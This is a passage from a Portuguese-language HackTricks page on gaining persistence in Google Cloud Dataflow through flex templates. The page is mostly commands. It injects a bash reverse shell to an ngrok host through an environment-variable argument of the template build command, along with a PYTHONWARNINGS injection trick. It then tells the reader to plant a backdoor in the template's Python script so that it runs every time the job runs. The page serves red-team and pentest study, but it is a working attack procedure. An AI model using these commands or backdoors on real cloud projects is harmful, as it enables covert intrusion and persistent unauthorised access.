GCP - Dataflow Persistence

Suporte ao HackTricks

Dataflow

Persistência invisível no contêiner integrado

Seguindo o tutorial da documentação você pode criar um novo modelo flex (por exemplo, python):

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Enquanto está sendo construído, você obterá um shell reverso (você poderia abusar de variáveis de ambiente como no exemplo anterior ou outros parâmetros que definem no arquivo Docker para executar coisas arbitrárias). Neste momento, dentro do shell reverso, é possível ir para o diretório /template e modificar o código do script principal em Python que será executado (em nosso exemplo, este é getting_started.py). Configure sua porta dos fundos aqui para que toda vez que o trabalho for executado, ele a execute.

Em seguida, na próxima vez que o trabalho for executado, o contêiner comprometido construído será executado:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Suporte o HackTricks

Last updated